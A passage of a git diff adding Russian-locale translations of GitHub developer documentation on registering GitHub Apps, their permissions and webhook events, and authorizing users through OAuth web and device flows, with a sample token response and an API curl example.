`check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: + +```text +{% data variables.product.oauth_host_code %}/settings/apps/new?name=octocat-github-app&description=An%20Octocat%20App&callback_urls[]=https://example.com&request_oauth_on_install=true&public=true&checks=write&events[]=check_run&events[]=check_suite +``` + +The complete list of available query parameters, permissions, and events is listed in the sections below. + +## {% data variables.product.prodname_github_app %} configuration parameters + + Name | Type | Description +-----|------|------------- +`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. +`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. +`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage. +`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`. +`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. +`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation. +`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed. +`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. +`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default. +`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to. +{% ifversion ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details. +{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %} +`domain` | `string` | The URL of a content reference.{% endif %} +`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %} +`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %} + +## {% data variables.product.prodname_github_app %} permissions + +You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission. + +Permission | Description +---------- | ----------- +[`administration`](/rest/reference/permissions-required-for-github-apps#administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`blocking`](/rest/reference/permissions-required-for-github-apps#blocking-users) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`checks`](/rest/reference/permissions-required-for-github-apps#checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %} +`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %} +[`contents`](/rest/reference/permissions-required-for-github-apps#contents) | Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`. +[`deployments`](/rest/reference/permissions-required-for-github-apps#deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %} +[`emails`](/rest/reference/permissions-required-for-github-apps#email-addresses) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %} +[`followers`](/rest/reference/permissions-required-for-github-apps#followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`. +[`gpg_keys`](/rest/reference/permissions-required-for-github-apps#gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`. +[`issues`](/rest/reference/permissions-required-for-github-apps#issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`. +[`keys`](/rest/reference/permissions-required-for-github-apps#git-ssh-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`. +[`members`](/rest/reference/permissions-required-for-github-apps#members) | Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`metadata`](/rest/reference/permissions-required-for-github-apps#metadata) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}. +[`organization_administration`](/rest/reference/permissions-required-for-github-apps#organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %} +[`organization_hooks`](/rest/reference/permissions-required-for-github-apps#organization-webhooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`. +`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`. +[`organization_projects`](/rest/reference/permissions-required-for-github-apps#organization-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %} +[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps#organization-user-blocking) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`pages`](/rest/reference/permissions-required-for-github-apps#pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`. +`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`. +[`pull_requests`](/rest/reference/permissions-required-for-github-apps#pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`. +[`repository_hooks`](/rest/reference/permissions-required-for-github-apps#repository-webhooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`. +[`repository_projects`](/rest/reference/permissions-required-for-github-apps#repository-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion ghes or ghec %} +[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps#secret-scanning-alerts) | Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %} +[`security_events`](/rest/reference/permissions-required-for-github-apps#code-scanning-alerts) | Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %} +[`single_file`](/rest/reference/permissions-required-for-github-apps#single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`. +[`starring`](/rest/reference/permissions-required-for-github-apps#starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`. +[`statuses`](/rest/reference/permissions-required-for-github-apps#commit-statuses) | Grants access to the [Statuses API](/rest/reference/commits#commit-statuses). Can be one of: `none`, `read`, or `write`. +[`team_discussions`](/rest/reference/permissions-required-for-github-apps#team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`. +[`vulnerability_alerts`](/rest/reference/permissions-required-for-github-apps#dependabot-alerts)| Grants access to receive {% data variables.product.prodname_dependabot_alerts %} in a repository. See "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)" to learn more. Can be one of: `none`, `read`, or `write`. +`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`. + +## {% data variables.product.prodname_github_app %} webhook events + +Webhook event name | Required permission | Description +------------------ | ------------------- | ----------- +[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %} +[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %} +[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %} +[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %} +[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %} +[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %} +[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %} +[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %} +[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %} +[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %} +[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %} +[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %} +[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %} +[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} +[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} +[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} +[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} +[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} +[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %} +[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %} +[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} +[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} +[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %} +[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} +[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} +[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} +[`pull_request_review_thread`](/webhooks/event-payloads/#pull_request_review_thread) | `pull_request` | {% data reusables.webhooks.pull_request_review_thread_short_desc %} +[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %} +[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %} +[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} +[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %} +[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %} +[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} +[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} +[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %} diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app.md new file mode 100644 index 000000000000..0736283303f0 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/creating-a-github-app.md @@ -0,0 +1,85 @@ +--- +title: Creating a GitHub App +intro: '{% data reusables.shortdesc.creating_github_apps %}' +redirect_from: + - /early-access/integrations/creating-an-integration + - /apps/building-integrations/setting-up-and-registering-github-apps/registering-github-apps + - /apps/building-github-apps/creating-a-github-app + - /developers/apps/creating-a-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +--- +{% ifversion fpt or ghec %}To learn how to use GitHub App Manifests, which allow people to create preconfigured GitHub Apps, see "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %} + +{% ifversion fpt or ghec %} +{% note %} + + **Note:** {% data reusables.apps.maximum-github-apps-allowed %} + +{% endnote %} +{% endif %} + +{% data reusables.apps.settings-step %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.github_apps %} +1. Click **New GitHub App**. +![Button to create a new GitHub App](/assets/images/github-apps/github_apps_new.png) +1. In "GitHub App name", type the name of your app. +![Field for the name of your GitHub App](/assets/images/github-apps/github_apps_app_name.png) + + Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub account, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. + +1. Optionally, in "Description", type a description of your app that users will see. +![Field for a description of your GitHub App](/assets/images/github-apps/github_apps_description.png) +1. In "Homepage URL", type the full URL to your app's website. +![Field for the homepage URL of your GitHub App](/assets/images/github-apps/github_apps_homepage_url.png) +{% ifversion fpt or ghes or ghec %} +1. In "Callback URL", type the full URL to redirect to after a user authorizes the installation. This URL is used if your app needs to identify and authorize user-to-server requests. + + You can use **Add callback URL** to provide additional callback URLs, up to a maximum of 10. + + ![Button for 'Add callback URL' and field for callback URL](/assets/images/github-apps/github_apps_callback_url_multiple.png) +{% else %} +1. In "User authorization callback URL", type the full URL to redirect to after a user authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests. +![Field for the user authorization callback URL of your GitHub App](/assets/images/github-apps/github_apps_user_authorization.png) + +{% endif %} +1. By default, to improve your app's security, your app will use expiring user authorization tokens. To opt-out of using expiring user tokens, you must deselect "Expire user authorization tokens". To learn more about setting up a refresh token flow and the benefits of expiring user tokens, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)." + ![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png) +1. If your app authorizes users using the OAuth flow, you can select **Request user authorization (OAuth) during installation** to allow people to authorize the app when they install it, saving a step. If you select this option, the "Setup URL" becomes unavailable and users will be redirected to your "User authorization callback URL" after installing the app. See "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)" for more information. +![Request user authorization during installation](/assets/images/github-apps/github_apps_request_auth_upon_install.png){% ifversion device-flow-is-opt-in %} +1. If your GitHub App will use the device flow to identify and authorize users, click **Enable Device Flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)." + ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %} +1. If additional setup is required after installation, add a "Setup URL" to redirect users to after they install your app. +![Field for the setup URL of your GitHub App ](/assets/images/github-apps/github_apps_setup_url.png) + + {% note %} + + **Note:** When you select **Request user authorization (OAuth) during installation** in the previous step, this field becomes unavailable and people will be redirected to the "User authorization callback URL" after installing the app. + + {% endnote %} + +1. In "Webhook URL", type the URL that events will POST to. Each app receives its own webhook which will notify you every time the app is installed or modified, as well as any other events the app subscribes to. +![Field for the webhook URL of your GitHub App](/assets/images/github-apps/github_apps_webhook_url.png) + +1. Optionally, in "Webhook Secret", type an optional secret token used to secure your webhooks. +![Field to add a secret token for your webhook](/assets/images/github-apps/github_apps_webhook_secret.png) + + {% note %} + + **Note:** We highly recommend that you set a secret token. For more information, see "[Securing your webhooks](/webhooks/securing/)." + + {% endnote %} + +1. In "Permissions", choose the permissions your app will request. For each type of permission, use the drop-down menu and click **Read-only**, **Read & write**, or **No access**. +![Various permissions for your GitHub App](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png) +1. In "Subscribe to events", choose the events you want your app to receive. +1. To choose where the app can be installed, select either **Only on this account** or **Any account**. For more information on installation options, see "[Making a GitHub App public or private](/apps/managing-github-apps/making-a-github-app-public-or-private/)." +![Installation options for your GitHub App](/assets/images/github-apps/github_apps_installation_options.png) +1. Click **Create GitHub App**. +![Button to create your GitHub App](/assets/images/github-apps/github_apps_create_github_app.png) diff --git a/translations/ru-RU/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/ru-RU/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md new file mode 100644 index 000000000000..fabe41bb56e3 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md @@ -0,0 +1,898 @@ +--- +title: Идентификация и авторизация пользователей для приложений GitHub +intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}' +redirect_from: + - /early-access/integrations/user-identification-authorization + - /apps/building-integrations/setting-up-and-registering-github-apps/identifying-users-for-github-apps + - /apps/building-github-apps/identifying-and-authorizing-users-for-github-apps + - /developers/apps/identifying-and-authorizing-users-for-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Identify & authorize users +ms.openlocfilehash: 302e7a25931c3af2957dae7a67e0ca080fc5bd50 +ms.sourcegitcommit: f54d01e643f994ce48f0774dbc680ad77dd6193f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160583' +--- +{% data reusables.pre-release-program.expiring-user-access-tokens %} + +Когда приложение GitHub действует от имени пользователя, оно выполняет запросы между пользователями. Эти запросы должны быть авторизованы с помощью маркера доступа пользователя. Запросы типа "пользователь — сервер" включают запрос данных для пользователя, например определение того, какие репозитории отобразить определенному пользователю. Эти запросы также включают действия, инициированные пользователем, например запуск сборки. + +{% data reusables.apps.expiring_user_authorization_tokens %} + +## Идентификация пользователей на вашем сайте + +Чтобы авторизовать пользователей для стандартных приложений, запущенных в браузере, используйте [поток веб-приложений](#web-application-flow). + +Чтобы авторизовать пользователей для автономных приложений без прямого доступа к браузеру, таких как инструменты CLI или менеджеры учетных данных Git, используйте [поток устройства](#device-flow). Поток устройства использует [предоставление разрешения авторизации устройства](https://tools.ietf.org/html/rfc8628) OAuth 2.0. + +## Процесс для веб-приложения + +При использовании потока веб-приложения процесс идентификации пользователей на вашем сайте выглядит следующим образом: + +1. Пользователи перенаправляются для запроса удостоверения GitHub. +2. Пользователи перенаправляются из GitHub обратно на сайт. +3. Ваше приложение GitHub получает доступ к API с маркером доступа пользователя. + +Если выбрать **Запрашивать авторизацию пользователя (OAuth) во время установки** при создании или изменении приложения, шаг 1 будет выполнен во время его установки. Дополнительные сведения см. в разделе [Авторизация пользователей во время установки](/apps/installing-github-apps/#authorizing-users-during-installation). + +### 1. Запрос удостоверения GitHub пользователя +Направьте пользователя по следующему URL-адресу в его браузере: + + GET {% data variables.product.oauth_host_code %}/login/oauth/authorize + +Когда приложение GitHub указывает параметр `login`, оно предлагает пользователям определенную учетную запись для входа и авторизации приложения. + +#### Параметры + +Имя | Тип | Описание +-----|------|------------ +`client_id` | `string` | **Обязательный.** Идентификатор клиента для вашего приложения GitHub. Его можно найти в [параметрах приложения GitHub](https://github.com/settings/apps) при выборе приложения. **Примечание**. Идентификатор приложения и идентификатор клиента не совпадают и не являются взаимозаменяемыми. +`redirect_uri` | `string` | URL-адрес в приложении, на который пользователи будут направляться после авторизации. Он должен точно совпадать с {% ifversion fpt or ghes or ghec %} одним из URL-адресов, которые вы указали в качестве **URL-адреса обратного вызова** {% else %} URL-адреса, который вы указали в поле **-адреса обратного вызова авторизации пользователя**{% endif %} при настройке приложения GitHub и не может содержать никаких дополнительных параметров. +`state` | `string` | Он должен содержать случайную строку для защиты от атак в форме подделки и может содержать любые другие произвольные данные. +`login` | `string` | Предлагает определенную учетную запись для входа и авторизации приложения. +`allow_signup` | `string` | Будет ли пользователям, не прошедшим проверку подлинности, предлагаться возможность подписаться на {% data variables.product.prodname_dotcom %} во время потока OAuth. Значение по умолчанию — `true`. Используйте значение `false`, когда политика запрещает регистрацию. + +{% note %} + +**Примечание**. Вам не нужно указывать области в запросе авторизации. В отличие от традиционной авторизации OAuth, маркер авторизации ограничен разрешениями, связанными с вашим приложением GitHub и разрешениями пользователя. + +{% endnote %} + +### 2. Перенаправление пользователей из GitHub обратно на ваш сайт + +Если пользователь принимает ваш запрос, GitHub перенаправляет обратно на ваш сайт с временным `code` в параметре кода, а также с состоянием, указанным на предыдущем шаге в параметре `state`. Если состояния не совпадают, это значит, что запрос был создан третьей стороной, и процесс следует прервать. + +{% note %} + +**Примечание**. Если выбрать **Запрашивать авторизацию пользователя (OAuth) во время установки** при создании или изменении приложения, GitHub вернет временный `code`, который нужно будет обменять на маркер доступа. Параметр `state` не возвращается, когда GitHub инициирует поток OAuth во время установки приложения. + +{% endnote %} + +Обменяйте этот `code` на маркер доступа. Когда маркеры с истекающим сроком действия включены, срок действия маркера доступа истекает через 8 часов, а срок действия маркера обновления — через 6 месяцев. При каждом обновлении маркера вы получаете новый маркер обновления. Дополнительные сведения см. в разделе [Обновление токенов доступа между пользователями и сервером](/developers/apps/refreshing-user-to-server-access-tokens). + +Пользовательские маркеры с истекающим сроком действия на данный момент являются дополнительной функцией и могут быть изменены. Сведения о включении функции ограничения срока действия маркеров "пользователь —сервер" см. в разделе [Активация дополнительных функций для приложений](/developers/apps/activating-optional-features-for-apps). + +Отправьте запрос в следующую конечную точку для получения маркера доступа: + + POST {% data variables.product.oauth_host_code %}/login/oauth/access_token + +#### Параметры + +Имя | Тип | Описание +-----|------|------------ +`client_id` | `string` | **Обязательный.** Идентификатор клиента для вашего приложения GitHub. +`client_secret` | `string` | **Обязательный.** Секрет клиента для вашего приложения GitHub. +`code` | `string` | **Обязательный.** Код, полученный в качестве ответа на шаге 1. +`redirect_uri` | `string` | URL-адрес в приложении, на который пользователи будут направляться после авторизации. Он должен точно совпадать с {% ifversion fpt or ghes or ghec %} одним из URL-адресов, которые вы указали в качестве **URL-адреса обратного вызова** {% else %} URL-адреса, который вы указали в поле **-адреса обратного вызова авторизации пользователя**{% endif %} при настройке приложения GitHub и не может содержать никаких дополнительных параметров. + +#### Ответ + +По умолчанию ответ принимает следующий вид. Параметры ответа `expires_in`, `refresh_token` и `refresh_token_expires_in` возвращаются только в том случае, если включено ограничение срока действия маркеров доступа "пользователь — сервер". + +```json +{ + "access_token": "ghu_16C7e42F292c6912E7710c838347Ae178B4a", + "expires_in": 28800, + "refresh_token": "ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498", + "refresh_token_expires_in": 15811200, + "scope": "", + "token_type": "bearer" +} +``` + +### 3. Приложение GitHub обращается к API с маркером доступа пользователя + +Маркер доступа пользователя позволяет приложению GitHub отправлять запросы к API от имени пользователя. + + Authorization: Bearer OAUTH-TOKEN + GET {% data variables.product.api_url_code %}/user + +Например, в curl можно задать заголовок авторизации следующим образом: + +```shell +curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user +``` + +## Процесс для устройства + +{% note %} + +**Примечание**. Процесс для устройства находится в стадии общедоступной бета-версии и может быть изменен. + +{% endnote %} + +Процесс для устройства позволяет авторизовать пользователей для автономного приложения, например средства CLI или диспетчера учетных данных GIT. + +{% ifversion device-flow-is-opt-in %}Прежде чем использовать процесс для устройства с целью идентификации и авторизации пользователей, необходимо сначала включить его в параметрах приложения. Дополнительные сведения о включении потоков устройств см. в разделе [Изменение приложения GitHub](/developers/apps/managing-github-apps/modifying-a-github-app). {% endif %}Дополнительные сведения об авторизации пользователей с помощью процесса для устройства см. в разделе [Авторизация приложений OAuth](/developers/apps/authorizing-oauth-apps#device-flow). + +## Проверка доступа пользователя к ресурсам установки + +После получения токена OAuth для пользователя можно проверить, к каким установкам этот пользователь имеет доступ. + + Authorization: Bearer OAUTH-TOKEN + GET /user/installations + +Кроме того, можно проверить, какие репозитории доступны пользователю для установки. + + Authorization: Bearer OAUTH-TOKEN + GET /user/installations/:installation_id/repositories + +Дополнительные сведения см. в статьях: [Список установок приложений, доступных для маркера доступа пользователя](/rest/apps#list-app-installations-accessible-to-the-user-access-token) и [Список репозиториев, доступных для маркера доступа пользователя](/rest/apps#list-repositories-accessible-to-the-user-access-token). + +## Обработка отозванной авторизации приложения GitHub + +Если пользователь отзывает свою авторизацию приложения GitHub, приложение по умолчанию получит веб-перехватчик [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization). Приложения GitHub не могут отменить подписку на это событие. {% data reusables.webhooks.authorization_event %} + +## Разрешения уровня пользователя + +Вы можете добавить разрешения уровня пользователя в свое приложение GitHub для доступа к пользовательским ресурсам, таким как электронные письма пользователей. Такие разрешения предоставляются отдельными пользователями в рамках [потока авторизации пользователей](#identifying-users-on-your-site). Разрешения уровня пользователя отличаются от [разрешений на уровне репозитория и организации](/rest/overview/permissions-required-for-github-apps), которые предоставляются во время установки в организации или личной учетной записи. + +Разрешения уровня пользователя можно выбрать в параметрах приложения GitHub в разделе **Разрешения пользователя** на странице **Разрешения и веб-перехватчики**. Дополнительные сведения о выборе разрешений см. в статье [Изменение разрешений приложения GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/). + +Когда пользователь устанавливает ваше приложение в своей учетной записи, в запросе на установку будут перечислены разрешения уровня пользователя, которые запрашивает приложение, и приведено объяснение, что приложение может запрашивать эти разрешения у отдельных пользователей. + +Так как разрешения уровня пользователя предоставляются отдельным пользователям, их можно добавить в имеющееся приложение, не запрашивая у пользователей обновление. Однако вам потребуется отправить существующих пользователей через поток авторизации пользователей, чтобы авторизовать новое разрешение и получить новый маркер от пользователя к серверу для этих запросов. + +## Запросы между пользователем и сервером + +Хотя большая часть вашего взаимодействия с API должна происходить с использованием ваших маркеров доступа установки от сервера к серверу, некоторые конечные точки позволяют выполнять действия с помощью API с использованием маркера доступа пользователя. Ваше приложение может выполнять следующие запросы, используя конечные точки [GraphQL](/graphql) или [REST](/rest). + +### Поддерживаемые конечные точки + +{% ifversion fpt or ghec %} +#### Средства выполнения действий + +* [Список приложений средств выполнения для репозитория](/rest/actions#list-runner-applications-for-a-repository) +* [Список локальных средств выполнения для репозитория](/rest/actions#list-self-hosted-runners-for-a-repository) +* [Получение локального средства выполнения для репозитория](/rest/actions#get-a-self-hosted-runner-for-a-repository) +* [Удаление локального средства выполнения из репозитория](/rest/actions#delete-a-self-hosted-runner-from-a-repository) +* [Создание токена регистрации для репозитория](/rest/actions#create-a-registration-token-for-a-repository) +* [Создание токена удаления для репозитория](/rest/actions#create-a-remove-token-for-a-repository) +* [Список приложений средств выполнения для организации](/rest/actions#list-runner-applications-for-an-organization) +* [Список локальных средств выполнения для организации](/rest/actions#list-self-hosted-runners-for-an-organization) +* [Получение локального средства выполнения для организации](/rest/actions#get-a-self-hosted-runner-for-an-organization) +* [Удаление локального средства выполнения для организации](/rest/actions#delete-a-self-hosted-runner-from-an-organization) +* [Создание токена регистрации для организации](/rest/actions#create-a-registration-token-for-an-organization) +* [Создание токена удаления для организации](/rest/actions#create-a-remove-token-for-an-organization) + +#### Секреты действий + +* [Получение открытого ключа репозитория](/rest/actions#get-a-repository-public-key) +* [Список секретов репозитория](/rest/actions#list-repository-secrets) +* [Получение секрета репозитория](/rest/actions#get-a-repository-secret) +* [Создание или обновление секрета репозитория](/rest/actions#create-or-update-a-repository-secret) +* [Удаление секрета репозитория](/rest/actions#delete-a-repository-secret) +* [Получение открытого ключа организации](/rest/actions#get-an-organization-public-key) +* [Список секретов организации](/rest/actions#list-organization-secrets) +* [Получение секрета организации](/rest/actions#get-an-organization-secret) +* [Создание или обновление секрета организации](/rest/actions#create-or-update-an-organization-secret) +* [Список выбранных репозиториев для секрета организации](/rest/actions#list-selected-repositories-for-an-organization-secret) +* [Настройка выбранных репозиториев для секрета организации](/rest/actions#set-selected-repositories-for-an-organization-secret) +* [Добавление выбранного репозитория к секрету организации](/rest/actions#add-selected-repository-to-an-organization-secret) +* [Удаление выбранного репозитория из секрета организации](/rest/actions#remove-selected-repository-from-an-organization-secret) +* [Удаление секрета организации](/rest/actions#delete-an-organization-secret) {% endif %} + +{% ifversion fpt or ghec %} +#### Artifacts + +* [Список артефактов для репозитория](/rest/actions#list-artifacts-for-a-repository) +* [Список артефактов выполнения рабочего процесса](/rest/actions#list-workflow-run-artifacts) +* [Получение 